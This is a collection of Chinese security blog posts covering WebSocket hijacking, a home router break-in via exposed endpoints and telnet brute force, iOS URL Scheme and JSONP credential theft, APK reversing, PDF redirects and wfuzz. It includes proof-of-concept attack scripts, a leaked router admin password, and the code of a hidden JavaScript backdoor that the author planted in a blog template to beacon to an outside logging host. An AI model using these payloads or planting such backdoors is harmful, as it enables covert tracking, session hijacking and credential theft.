WebSocket 跨域劫持漏洞 WebSocket 跨域劫持漏洞,英文名:Cross-site WebSocket Hijacking,漏洞类型:全能型CSRF(可读、可写)。 了解WebSocket Websocket 优点 支持双向通信,实时性更强。 更好的二进制支持。 较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。 支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等) Websocket 如何建立连接 画了一张图让你了解: 漏洞产生 建立Websocket连接无验证。 案例 1.如下请求: GET / HTTP/1.1 Host: localhost:8080 Origin: http://127.0.0.1:3000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: w4v7O6xFTi36lq3RNcgctw== 篡改Origin,发现没有对Origin进行验证,也可以跨域进行协议升级。 2.进一步验证 2.1获取到了一个发送评论的请求 (使用BurpSuite->Proxy模块->Websockets History查看,这里是对应的 Direction值为Outgoing为发出的请求,Incoming为发出请求对应的响应信息) 2.2使用JavaScript创建Websocket请求 如上图所示Outgoing的内容为“我是帅key的可爱小迷弟”,那么发送的数据就是这个。 <meta charset="utf-8"> <script> function ws_attack(){ var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss:// ws.onopen = function(evt) { ws.send("我是帅key的可爱小迷弟!"); }; ws.onmessage = function(evt) { ws.close(); }; } ws_attack(); </script> 2.3验证发现可以请求并成功进行重放,存在Websocket跨域劫持 (这里只是简单的评论请求,危害就是:点我链接让你评论我想评论的,试想:如果是修改密码的WebSocket请求存在劫持那么问题就大了~) 漏洞利用 攻击流程跟以往的交互类漏洞没什么区别(点我链接读取你XXX、点我链接让你XXX): 来一个圈子”铸剑实战靶场”的截图,自我体会: PoC代码编写 <meta charset="utf-8"> <script> function ws_attack(){//自定义函数ws_attack //定义函数功能 //创建WebSocket并赋值给ws变量 var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss:// ws.onopen = function(evt) { //当ws(WebSocket)处于连接状态时执行 ws.send("我是帅key的可爱小迷弟!"); }; ws.onmessage = function(evt) { //当ws(WebSocket)请求有响应信息时执行 //注意:响应的信息可以通过evt.data获取!例如:alert(evt.data); ws.close(); }; } ws_attack();//执行ws_attact函数 </script> 修复方法 综合建议:校验Origin头 Reference https://www.cnblogs.com/chyingp/p/websocket-deep-in.html

2019/3/20
articleCard.readMore

记一次移动光猫(GM219-S)安全测试

前言 过个年,WiFi密码忘记了…光猫管理密码也忘记了(这个光猫也不支持物理按钮重置设置),但是手机还连着WiFi,正规操作找回不了密码,那就用咱们测试的思维来试试PWN掉这个路由器。 过程 未授权获取WiFi连接密码 还好之前没闲着,发现管理的几个未授权访问的接口如下: 获取宽带账号密码: /GET_USER_WAN_PPP_INFO.json 获取 WLAN 连接信息: /GET_WLAN_LINK_INFO.json 获取 DHCP 信息: /GET_NET_DHCP_INFO.json 手机访问 http://192.168.1.1/GET_WLAN_LINK_INFO.json ,获取密码:xxx,电脑连接登录 信息收集 端口收集结果 Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8080/tcp on 192.168.1.1 目录扫描结果 获得的一些目录: /login.html /login.asp /index.asp /telnet.asp /upgrade.asp ... 突破口 在目录扫描的时候,发现/telnet.asp -> 跳转到 /cgi-bin/telnet.asp 如下图所示界面: 这个功能可以开启光猫的telnet服务,先开启,然后再使用Nmap扫描下端口: Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 8080/tcp on 192.168.1.1 Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8023/tcp on 192.168.1.1 发现多了个8023端口,其对应的服务果然是telnet: 8023/tcp open telnet | fingerprint-strings: | GenericLines: | Star-Net Broadband Router | Login: | Password: | GetRequest: | Star-Net Broadband Router | Login: GET / HTTP/1.0 | Password: | Help: | HELP | Star-Net Broadband Router | Login: Password: | NCP: | Star-Net Broadband Router | Login: DmdT^@^@^@ | ^@^@^@^A^@^@^@^@^@ | NULL: | Star-Net Broadband Router | Login: | RPCCheck: | Star-Net Broadband Router | Login: | ^@^@(r | SIPOptions: | Star-Net Broadband Router | Login: OPTIONS sip:nm SIP/2.0 | Via: SIP/2.0/TCP nm;branch=foo | From: <sip:nm@nm>;tag=root | <sip:nm2@nm2> | Call-ID: 50000 | CSeq: 42 OPTIONS | Max-Forwards: 70 | Content-Length: 0 | Contact: <sip:nm@nm> | Accept: application/sdp | Password: | tn3270: | ^@IBM-3279-4-E | ^YStar-Net Broadband Router |_ Login: telnet开启,爆破一波走起。(Caimima生成个密码口令) 试了nmap貌似没啥用,开个msfconsole来爆破: use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.1.1 #设置模板 set RPORT 8023 #设置端口 set USER_FILE /root/user.txt #设置用户字典 set PASS_FILE /root/pass.txt #设置密码字典 exploit 192.168.1.1 #启动 幸运的是爆破出来了,是组合弱口令: 获取密码 运行telnet 192.168.1.1 8023输入账号密码进去,执行sh发现可以直接进入shell: 接下来就是找密码到处瞎翻(没有PWN路由器的经验,很难受),执行 ls -a -l 发现有软链接,很多指向了/tmp目录: 于是进入/tmp目录,到处翻腾: 利用这几个关键词看看是否有文件中包含了:admin、CMCC(中国移动)、password、user e.g. grep 'admin' ./*,等了老半天了,发现/tmp/ctromfile.cfg文件内有点东西: 复制密码登录,怼进去: 信息整合 做完测试并针对测试过程的信息进行整合,最后形成字典以便后面再次遇到~ 通过读配置文件获取的一系列用户名、密码:9vvrr、admin、aDm8H%MdA、CMCCAdmin、telnetuser、user 文件、目录路径: /GET_USER_WAN_PPP_INFO.json /GET_WLAN_LINK_INFO.json /GET_NET_DHCP_INFO.json /telnet.asp /index.asp /user.html /upgrade.asp /cgi-bin/ /content.asp 指纹特征: 标题:HGU LOGIN 图片:/webstyle/images/login-mobile-qrcode-anhui.png -> 23cb4f5e63e0cd47f8788a6ca3558eab JS:/webstyle/js/br_login_nc.js 结尾 最后我只是默默的把user用户密码改了一下~

2019/3/12
articleCard.readMore

我为何在博客模板留后门

前言 在前段时间,我在我博客的模板上加入了后门(JavaScript),今天去除,并将思路简单的写出来。 为什么留后门呢? 起因:在前不久,团队官网模板就被偷走,很让人生气,抄袭者团队(以下简称为:A)没有打一声招呼就拿走了,但可笑的是A并没有在模板中修改JavaScript文件的外链引用,而是直接使用我们的JavaScript文件,所以简单的利用JS修改了一下其主页,提醒了下他,经过后来A主动与我联系并道歉,这件事情才结束~ 让我吃惊的是,这件事之后我发现我博客主题模板被拿走了,是的,不止一个哥们。 我在我的博客项目中说明了https://github.com/gh0stkey/gh0stkey.github.io 个人博客 gh0st.cn 模版来自:https://github.com/heiswayi/the-plain 在原基础上增加了分页、网易云音乐播放器等功能(做了一些排版细节上的调整),拿之前告诉我下,谢谢! 因为博客采用的是Github Pages + Jekyll,所以需要依赖于Github的进行托管,模板也就自然而然的可以直接git clone下来,模板也是我进行二次修改的,我觉得起码要尊重下作者,在博客主题或项目之类的进行说明,打声招呼也行,一声不吭的拿走是几个意思…… 有个好兄弟说过这样一段话,望周知: 参考别人的研究成果,注明来源是基本素质,每个人都应该构建一个和谐积极向上的氛围,知道的人不愿意分享的原因就是不被别人认可,互相认可才能进步,现在理解一些师傅的苦衷了,挺悲哀的。请各位在以后的学习生涯上,尊重别人的分享,认可他人,互相感染才能进步。 关于后门 我是一个“重度洁癖患者”,不喜欢自己的任何东西带上任何污点。包括对于在自己博客模板中加入后门,这对我来说是一件带有“大污点”的事情,所以思考了很久决定加上后门。 后门的构建 JavaScript 后门 模板后门选择的是JavaScript外链引用,而JavaScript的内容构建步骤如下: 1.判断是否是自己的域名(这个正则写的不严谨是可以被绕过的,例如:gh0st.cn.bypass.cn): var host = document.location.host; //获取host var reg = new RegExp(/gh0st.cn/); //创建正则 var isok = reg.test(host); //匹配结果:False\True if(!isok){//判断 ...code } 2.触发式:在一个Web服务上添加了isopen.txt这个文件,内容为NO则不触发,内容为YES则触发。(选择触发式的原因是因为博客上线有本地调试这一环节,如果在本地就触发了,那岂不是得不偿失,没有造成什么直接损害~) var xhr = new XMLHttpRequest(); //创建XMLHttpRequest xhr.onreadystatechange=function(){ //请求成功则触发 if(xhr.responseText == "YES"){ //判断请求网站的内容是否是YES,如果是则进行下一步 document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); //页面内容修改 } } xhr.open("GET","http://webserver/isopen.txt",true); //请求http://webserver/isopen.txt xhr.send(null); 3.既然选择了触发式的后门,那么就需要知道是谁偷了模板,这里利用的是ceye.io这个平台去记录“小偷”的域名和IP之类的东西: var img = document.createElement("img"); //创建img标签 img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; //设置img标签的src属性 img.stytle.display="none"; //设置img标签的样式的display属性为none(表示这个将图片隐藏) document.body.appendChild(img); //在DOM节点(body)内加入img标签 4.在博客模板的header.html中引用了外部的JS地址<script src="http://webserver/xxx.js"> 完整代码如下: var host = document.location.host; var reg = new RegExp(/gh0st.cn/); var isok = reg.test(host); if(!isok){ var img = document.createElement("img"); img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; img.stytle.display="none"; document.body.appendChild(img); var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if(xhr.responseText == "YES"){ document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); } } xhr.open("GET","http://webserver/isopen.txt",true); xhr.send(null); } Python 监控 利用ceye.io这个平台的API去实时监控,并且使用邮件发信通知。 导入Python模块 && 全局变量: import smtplib,requests,json,urlparse,sys from email.MIMEText import MIMEText from email.Utils import formatdate from email.Header import Header log = {} 1.163邮件发信: def send_mail(domain,ip): smtpHost = 'smtp.163.com' smtpPort = '25' fromMail = '邮箱账户' toMail = '邮箱账户,收信方' username = '邮箱账户' password = '邮箱密码' reload(sys) sys.setdefaultencoding('utf8') subject = u'博客监控到有人偷模板!' body = u"[小偷信息]\nDomain: {0} IP: {1}".format(domain,ip) encoding = 'utf-8' mail = MIMEText(body.encode(encoding),'plain',encoding) mail['Subject'] = Header(subject,encoding) mail['From'] = fromMail mail['To'] = toMail mail['Date'] = formatdate() try: smtp = smtplib.SMTP(smtpHost,smtpPort) smtp.ehlo() smtp.login(username,password) smtp.sendmail(fromMail,toMail.split(','),mail.as_string()) print u"邮件已发送,监控信息:" print body except Exception,e: print e print u"发送失败,监控信息:" print body finally: smtp.close() 2.ceye.io API调用获取信息,个人中心可以看见API TOKEN,API使用方法: def dnslog_monitor(): api = "http://api.ceye.io/v1/records?token=你的TOKEN&type=http&filter=myblog" r = requests.get(api) json_data = json.loads(r.text) for i in json_data['data']: query = urlparse.urlparse(i['name']).query sb_domain = dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])['domain'] sb_ip = i['remote_addr'] if sb_domain in log: pass else: log[sb_domain] = sb_ip send_mail(sb_domain,sb_ip) 3.main函数: def main(): while True: dnslog_monitor() 后门的运行 python脚本挂在服务器跑了一段时间,也发现了一个哥们又拿走了我的博客模板: 让他”用”了一段时间,便将isopen.txt的内容改为了YES(即触发了后门),其后来也与我联系,并进行了和解。 写在最后的话 也是因为“重度洁癖”,决定将模板后门去除。望君尊重技术、分享、作者,共勉!

2019/1/23
articleCard.readMore

iOS URL Schemes与漏洞的碰撞组合

前言 iOS URL Schemes,这个单词对于大多数人来说可能有些陌生,但是类似下面这张图的提示大部分人应该都经常看见: 今天要探究的就是:了解iOS URL Schemes、如何发现iOS URL Schemes、iOS URL Schemes结合漏洞案例。 iOS URL Schemes 基本概念 抛开iOS从URL Schemes的字面意思理解,就是地址协议(Scheme一般用来表示协议,比如 http、https、ftp 等),我们所熟知的HTTP协议的URL格式就是: http(s)://user:pass@host:port/path?query 举个例子:http://gh0st.cn/,在浏览器输入这个地址,浏览器是使用HTTP协议向 gh0st.cn 请求,请求的资源就是 / 。 再来看一下iOS URL Schemes的一个例子:weixin://,你在Safari浏览器(Mobile)输入这个网址就会提示你 在"微信"中打开链接吗?,然后由你选择”取消”或”打开”;和HTTP协议格式的URL访问流程进行对比,iOS URL Schemes 实际上就是启动一个应用的 URL,其访问流程是这样的: 浏览器输入"weixin://" -> iOS识别URL Schemes ->询问是否跳转到微信 -> 确认跳转 -> 从浏览器跳转到微信端 那么问题就来了,以上所述流程中的”iOS识别URL Schemes“,iOS如何识别这段URL Schemes?iOS官方要求的是APP开发者需要自己定义自己APP的”URL Schemes”,只有APP本身定义(支持)了URL Schemes,iOS才会去识别然后跳转。 定义 一个完整的 URL Schemes 应该分为 Scheme、Action、Parameter、Value 这 4 个部分,中间用冒号 :、斜线 /、问号 ?、等号 = 相连接。 举个例子:mst://jump?url=https://gh0st.cn/&title=test,它对应的4部分就是如下所示: Scheme(头): mst、Action(动作): jump、Parameter(参数): url、title、Value(值): https://gh0st.cn、test 不同的部分之间有符号相连,它们也有一定的规则(和URL部分规则是一样的): 冒号::在链接头和命令之间; 双斜杠 //:在链接头和命令之间,有时会是三斜杠 ///; 问号 ?:在命令和参数之间; 等号 =:在参数和值之间; 和符号 &:在一组参数和另一组参数之间。 理解 以上述所举的例子:mst://jump?url=https://gh0st.cn/&title=test,来简单的说明下这段URL Scheme所产生的效果: 1.跳转到”mst”所对应的APP 2.在APP中执行jump动作(跳转网站) 3.告诉APPjump动作所需的url和title参数,对应的值分别为https://gh0st.cn/和test 可以理解为在APP应用中访问https://gh0st.cn/,网页标题为test。 寻找iOS APP的URL Schemes 当你学会了如何寻找APP的URL Schemes,你就算发现了半个漏洞。 获取IPA包 基本的URL Schemes可以在iOS APP中的Info.plist文件中寻找到,而一般你是无法获取到APP的ipa包的,所以需要借助软件获取到这个包。 前提是你需要这两台设备:MacBook、iPhone,如果你只拥有一台iPhone的话也有办法去获取(需要Thor APP,具体方法自行寻找)。 Mac上先安装Apple Configurator 2,然后你需要在该软件中登录你的Apple账户: 使用iPhone充电线将手机连接Mac,这时候软件中就会显示已经连接Mac的设备: 假设你需要获取微信的URL Schemes,那么你的手机已经安装过了微信,然后使用该软件进行添加,选中设备点击添加按钮,选择应用: 搜索微信,选中添加: 当你下载完成看见如下提示的时候,在Finder中按快捷键Command+Shift+G,输入~/资源库/Group Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps/ 软件下载的微信ipa文件就存在该文件夹中: 进入文件夹将ipa文件复制到其他地方: 然后回到Apple Configurator 2的提示,点击停止即可。 获取基本URL Schemes 将IPA包后缀名修改为ZIP,然后解压,进入Payload目录会看见一个.APP后缀名文件,选中文件右击显示包内容: 找到Info.plist文件并打开,搜索关键词URLSchemes: 被String标签所包含的就是微信的URL Schemes: <string>wexinVideoAPI</string> <string>weixin</string> <string>weixinapp</string> <string>fb290293790992170</string> <string>wechat</string> <string>QQ41C152CF</string> <string>prefs</string> 寻找完整URL Schemes 如上已经了解了如何获取最基本的URL Schemes,但是这远远不够,因为完整的URL Schemes有4部分,而目前只找到了第一部分,仅仅能做到的功能就是启动,而想找到更多的非基本URL Schemes需要其他的方法。有很多方法在这里不一一例举了,只例几个常见的思路供你参考。 从手机站点页面获取 一般网站都会有这些子域名:m\h5\mobile… 打开这些子域名,利用Chrome的开发者工具(F12)切换为手机模式视图,这样就能模拟手机去访问了: 那在这里可以在该页面的HTML代码中寻找URL Schemes(前提是你已经知道了基本的URL Schemes) 在这里我从页面的JavaScript代码中发现了很多URL Schemes: 有些还有参数,可以根据命名来猜这些URL Schemes的含义,例如path: "mst://jump/core/web/jump",就可以知道这个是做Web跳转的,那跳转到哪个地址是什么参数控制呢?下面也有对应的告诉我们是url参数去控制,也就组成了这样一个URL Scheme: mst://jump/core/web/jump?url=https://gh0st.cn QRLCode解析地址获取 现在很多网站都支持二维码登录,就比如如下这个网站: 保存该二维码进行二维码解析: 解析得出这是一个URL Scheme,修改json参数url的值为我的网站尝试在浏览器中打开成功的触发了跳转APP,并且在APP中访问了我的网站。 逆向APP 不仅是iOS,安卓也支持URL Schemes,而一般的定义是一样的,所以你可以基于获取基本URL Schemes这个步骤将.APP文件的后缀去掉,这时候这个文件就变成了一个文件夹拖到Sublime里面全局搜索”weixin://“即可。 至于安卓的APK的逆向可以参考我之前的一篇文章< 打造Mac下APK逆向环境到实战接口XSS挖掘 >,可以在源代码中、所有文件内容中搜索URL Schemes。 漏洞案例 APP内URL跳转问题 其实严格来讲这不算是漏洞,毕竟利用有限,但又和一切能产生危害的问题都算漏洞这句话所冲突,所以在这还是选择列了出来,至于厂商觉不觉得是个安全性问题,还要看他们对“安全风险“的定义。 如何发现这类问题?在上文中我提到了如何发现URL Schemes,只要你发现了这种类型的URL Schemes就可以尝试替换地址为你的地址然后使用浏览器打开查看是否能在APP内跳转到你的地址,当然利用方式也很简单,构建一个HTML页面即可,然后将网址发送给“受害者”即可: <script> window.location='URL Schemes'; </script> 凭证窃取(设计不当) 在做一次漏洞挖掘的时候也碰见了很多次这种问题,大概的描述下就是我找到了能在APP中打开网页的入口方式(例如:二维码扫描、URL Schemes动作),让APP访问到我的地址,这样我就可以直接获取到APP中登录后的凭证信息。 利用方式和URL跳转的方式是一样的;关于这方面漏洞产生原理得出一个可能“不太严谨的结论”:APP在做HTTP请求的时候默认所有访问的都是信任域,所以带上了本身已经登录的凭证去请求了。 结合漏洞扩大攻击面 在一次APP的漏洞挖掘中发现了一个JSONP劫持的问题,但是在这里只会对APP用户产生影响,在没有二维码扫描的情况下就需要结合URL Schemes来扩大这个漏洞的影响面,而不是局限于self。 利用流程: 用户打开https://gh0st.cn/test.html,test.html内容: <script> window.location='mst://jump?url=https://gh0st.cn/jsonp.html'; </script> 用户点开之后启动mst应用执行jump动作,跳转到https://gh0st.cn/jsonp.html,jsonp.html内容: <script>function test(data){ document.write(JSON.stringify(data)) }</script> <script src="JSONP URL"></script> URL Schemes劫持 这个漏洞是15年在乌云爆出来的,漏洞编号为:wooyun-2015-0103233,大家可以自行去查看。 这个问题说白了是一个流程上的缺陷,苹果官方没有限制APP定义的URL Schemes名字,导致其他APP也可以定义“支付宝”的URL Schems名字;又因为iOS系统判定URL Schemes优先级顺序与 Bundle ID 有关(一个 Bundle ID 对应一个应用),如果有人精心伪造 Bundle ID,iOS 就会调用恶意 App 的 URL Schemes 去接收相应的 URL Schemes 请求,这就导致了可以被劫持。 结尾 还有很多思路等着我们去探寻,此文仅做思路启发。 Reference: https://sspai.com/post/31500 https://sspai.com/post/44591 WooyunBugID:wooyun-2015-0103233

2018/12/8
articleCard.readMore

打造Mac下APK逆向环境到实战接口XSS挖掘

前言 想尝试逆向APK来发现一些接口和安全问题,但是Mac下没啥好用的APK逆向工具,于是我就参考文章:https://blog.csdn.net/jyygn163/article/details/71731786 的思路在Mac下使用homebrew安装: brew install apktool brew install dex2jar JD-GUI去http://jd.benow.ca/下载,这里我是用的是jar版。 过程 自动化编译 手动敲命令太繁琐了,写个shell脚本一键化。 在.bash_profile文件(环境变量)加入这个命令alias apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh",这样当终端打开的时候就可以使用apkdec命令了,而脚本DeApkScript.sh的内容如下: apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd $1_dex/ && d2j-dex2jar *.dex 功能实现如下: apktool获取资源文件 将apk文件重命名为zip文件 解压zip文件中的.dex文件 切换解压目录 将dex文件转换成jar文件 这样,最后只需要使用JD-GUI反编译JAR即可看见源码了。 实战 运行命令: apkdec xxx.apk 首先对classes-dex2jar.jar文件进反编译,但似乎在Mac下JD-GUI支持的不太好,所以我选择使用luyten(Download:https://github.com/deathmarine/Luyten/releases),如下是两张对比图: 漏洞挖掘 在luyten下使用Command+G快捷键全局搜索,搜索域名寻找接口(因为这个APP需要内部人员才能登录所以从正常的入口是无法找到接口进行漏洞挖掘的) 寻找了一番看见这样一个接口: 二话不说访问之,提示: {"res_code":"-1008003","res_message":"参数错误","timeMillis":1542516229723} 不懂Java的我一脸懵,但是天下语言都是互通的,大概的了解了代码的意思(可能理解的不到位,就不说出来误导了),于是找到这样一个函数: 从我的理解来看这个接口就是有这两个参数appId、userName,于是加入GET请求参数中请求: Request: ?appId=123&userName=123 Response: {"res_code":"0","res_message":"成功","timeMillis":1542516495613,"extData":null,"data":[{"appId":"123","permissionTag":[""],"extData":null}]} 其中appId的参数值返回在了页面中,该请求响应报文Content-Type: text/html,所以尝试构建XSS,运气好,确实也存在XSS问题: 总结 学习、不断的学习。

2018/11/18
articleCard.readMore

一探短文件名

短文件名 最近看见一些漏洞利用到了短文件名回想到之前发现的漏洞,发现自己对短文件名的原理一无所知,现在来一探究竟。 什么是短文件名 windows下的文件短名是dos+fat12/fat16时代的产物,又称为8dot3命名法,类似于PROGRA~1(目录)或者元素周~1.exe(文件)这样的名称。 8是指文件名或目录名的主体部分小于等于8个字符 ; 3是指文件名或目录名的扩展部分小于等于3个字符 ;中间以 . 作为分割在FAT16文件系统中,由于FDT中的文件目录登记项只为文件名保留了8个字节,为扩展名保留了3个字节,所以DOS和Windows的用户为文件起名字时要受到8.3格式的限制。 查看Windows下的短文件名: 可以看见图中的123123~1.TXT,就是1231231231231231232.txt的短文件名表示。 为什么现在Windows系统还存在短文件名这种表示? 从win95开始,采用fat32已经支持长文件名,但是为了保持兼容性,保证低版本的程序能正确读取长文件名文件,每当创建新文件或新目录时,系统自动为所有长文件名文件创建了一个对应的短文件名。使这个文件既可以用长文件名寻址,也可以用短文件名寻址。 短文件名命名方式 知道了什么是短文件名,再看如上文所贴图,图中文件1231231231231231232.txt的短文件名就是123123~1.TXT Windows短文件名8dot3命名规则: 符合DOS短文件名规则的Windows下的长文件名不变 长文件名中的空格,在短文件名中被删除 删除空格后的长文件名,若长度大于8个字符,则取前6个字符,后两个字符以~#代替,其中 # 为数字,数字根据前六个字符相同的文件名的个数顺延。若个数超过10个则取前5个字符,后三个字符以~##代替,其中 ## 为两位数字,若个数大于100也依此规则替换。 对使用多个.隔开的长文件名,取最左端一段转换为短文件名,取最右一段前三个字符为扩展名 如果存在老 OS 或程序无法读取的字符,用_替换 关闭短文件名 将Windows注册表(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem)中的NtfsDisable8dot3NameCreation这一项的值设为 1 CMD实现关闭短文件名: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisable8dot3NameCreation /d 1 /t REG_DWORD /f 如果想开启(将值设为0): reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisable8dot3NameCreation /d 0 /t REG_DWORD /f 需要注意:即使关闭了短文件名功能,也不会删除原有创建过的短文件名

2018/11/14
articleCard.readMore

浅析PDF事件导致的安全漏洞

浅析PDF事件导致的安全漏洞 最近ASRC的事情(PDF导致的URL跳转漏洞)闹的沸沸扬扬的,一开始没怎么去关注,后来想去玩一玩的时候发现作者没有给出比较好的说明来告诉大家如何玩、操作PDF的事件和漏洞原理。小白的我来探究一下。。 PDF事件添加 本人是macOS系统所以用不了迅捷PDF编辑器,后来尝试寻找各种适用于Mac平台的编辑器无果之后,还是向Adobe妥协,下载了破解版的Adobe Acrobat Pro DC 2018(也支持Windows)。 随便用Word文档导出了一个PDF,使用Acrobat打开,进行编辑,找了一会终于找到了页面属性设置的地方。 点击右侧的组织页面功能: 选择这一页点击更多->页面属性: 选择事件动作->触发器选择打开页面->选择动作打开网络链接->添加 输入地址: 设置成功: 漏洞测试 漏洞测试浏览器:谷歌浏览器 Chrome 漏洞测试GIF: Why? 这个漏洞的局限性在于浏览器的不同,那么为什么会只存在于部分浏览器上呢? 内核? 一开始的猜想是与浏览器的内核有关,Chrome是基于Webkit的内核分支,而Safari也是基于这个的,但是经过测试发现发现Safari无法跳转。 结果:NO 插件? 之前了解过FireFox浏览器是使用pdf预览插件是Chrome的PDF Viewer,但是至今为止最新版都只是很久以前的版本了(火狐官方也进行了一些细微的修改): 谷歌自己呢早就更新迭代了: chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai/pdf_viewer.js 结果:很大概率和浏览器PDF预览插件有关,可能是谷歌在之后更新引入了对PDF事件的支持。 END PoC下载:PoC.pdf

2018/11/14
articleCard.readMore

Wfuzz高阶功法

Wfuzz高阶功法 Author: Vulkey_Chen Blog: gh0st.cn 模块 之前两篇文章中已经记录过了payloads和printers模块,所以就不在这继续记录。 Iterators BurpSuite的Intruder模块中Attack Type有Sniper(狙击手)、Battering ram(撞击物)、Pitchfork(相交叉)、Cluster bomb(集束炸弹)~ wfuzz也可以完成这样的功能,将不同的字典的组合起来,那就是Iterators模块。 使用参数-m 迭代器,wfuzz自带的迭代器有三个:zip、chain、product,如果不指定迭代器,默认为product迭代器。 zip 命令: wfuzz -z range,0-9 -w dict.txt -m zip http://127.0.0.1/ip.php?FUZZ=FUZ2Z 结果如下: 该命令的意思:设置了两个字典。两个占位符,一个是range模块生成的0、1、2、3、4、5、6、7、8、9 10个数字,一个是外部字典dict.txt的9行字典,使用zip迭代器组合这两个字典发送。 zip迭代器的功能:字典数相同、一一对应进行组合,如果字典数不一致则多余的抛弃掉不请求,如上命令结果就是数字9被抛弃了因为没有字典和它组合。 chain 命令: wfuzz -z range,0-9 -w dict.txt -m chain http://127.0.0.1/ip.php?FUZZ 结果如下: 该命令设置了两个字典,一个占位符FUZZ,使用chain迭代器组合这两个字典发送。 chain迭代器的功能:通过返回结果就能看出来chain迭代器的功能了,这个迭代器是将所有字典全部整合(不做组合)放在一起然后传入占位符FUZZ中。 product 命令: wfuzz -z range,0-2 -w dict.txt -m product http://127.0.0.1/ip.php?FUZZ=FUZ2Z 结果如下: 该命令的意思:设置了两个字典,两个占位符,一个是range模块生成的0、1、2 3个数字,一个是外部字典dict.txt的3行字典,使用product迭代器组合这两个字典发送。 product迭代器的功能:通过返回结果,知道了请求总数为9,请求的payload交叉组合: Encoders wfuzz中encoders模块可以实现编码解码、加密,它支持如下图中所列转换功能: 使用Encoders 正常使用: wfuzz -z file --zP fn=wordlist,encoder=md5 URL/FUZZ 看过第一章的应该都能理解意思了,这里新增的就是encoder=md5,也就是使用Encoders的md5加密。 wfuzz -z file,wordlist,md5 URL/FUZZ 这里简写了第一条命令,一般都使用这条命令来调用Encoders 使用多个Encoder: 多个转换,使用一个-号分隔的列表来指定 wfuzz -z file,dict.txt,md5-base64 http://127.0.0.1/ip.php\?FUZZ 多次转换,使用一个@号分隔的列表来按照从右往左顺序多次转换(这里让传入的字典先md5加密然后base64编码) wfuzz -z file,dict.txt,base64@md5 http://127.0.0.1/ip.php\?FUZZ Scripts 之前说了wfuzz支持插件,其本身也有很多插件,插件大部分都是实现扫描和解析功能,插件共有两大类和一类附加插件: passive:分析已有的请求和响应(被动) active:会向目标发送请求来探测(主动) discovery:自动帮助wfuzz对目标站进行爬取,将发现的内容提供给wfuzz进行请求 Wfuzz默认自带脚本如下: 使用Scripts 我想使用Scripts中的backups模块,可以先试用--script-help参数来看如何关于这个模块的信息: wfuzz --script-help=robots 从如上结果中可以知道这个模块不需要设置参数,该模块解析robots.txt的并且寻找新的内容,,至于到底寻找什么,就需要动手实践下了~ 在本地建一个robots.txt: 使用如下命令: wfuzz --script=robots -z list,"robots.txt" http://127.0.0.1/FUZZ --script是使用脚本模块的参数,这时候就有个疑惑命令为什么要加上list呢?因为在这里robots脚本只是解析robots.txt规则的,所以你需要告诉wfuzz去请求哪个文件而这里我写的就是robots.txt就可以解析(假设 http://127.0.0.1/t.txt 的内容也是robots的就可以写成这样的命令wfuzz --script=robots -z list,"t.txt" http://127.0.0.1/FUZZ ) 从如上图中得知wfuzz解析robots.txt的内容然后请求解析之后获得的路径。 自定义插件 使用wfuzz可以自己编写wfuzz插件,需要放在~/.wfuzz/scripts/目录下,具体如何编写可以参考已有的插件:https://github.com/xmendez/wfuzz/tree/master/src/wfuzz/plugins/scripts 技巧 Recipes Wfuzz可以生成一个recipes用来保存命令,方便下次执行或者分享给别人。 生成一个recipes: wfuzz --script=robots -z list,"robots.txt" --dumo-recipe outrecipe URL/FUZZ 使用某个recipes: wfuzz --recip outrecipe 网络异常 Wfuzz扫描的时候出现网络问题,如DNS解析失败,拒绝连接等时,wfuzz会抛出一个异常并停止执行使用-Z参数即可忽略这些错误继续执行。 出现错误的payload会以返回码XXX来表示,Payload中还有出现的错误信息。 超时 使用wfuzz扫描会遇到一些响应很慢的情况,wfuzz可以设置超时时间。 参数--conn-delay来设置wfuzz等待服务器响应接连的秒数。 参数--req-delay来设置wfuzz等待响应完成的最大秒数。 结合BurpSuite 从Burp的LOG文件中获取测试的URL地址: wfuzz -z burplog,"1.burp" FUZZ 还有能够读取burpsuite保存的state: wfuzz -z burpstate,a_burp_state.burp FUZZ 过滤器 这里篇幅太长,建议综合参考 https://github.com/xmendez/wfuzz/blob/18a83606e3011159b4b2e8c0064f95044c3c4af5/docs/user/advanced.rst 就不一一写出来了。

2018/10/28
articleCard.readMore

Wfuzz基本功

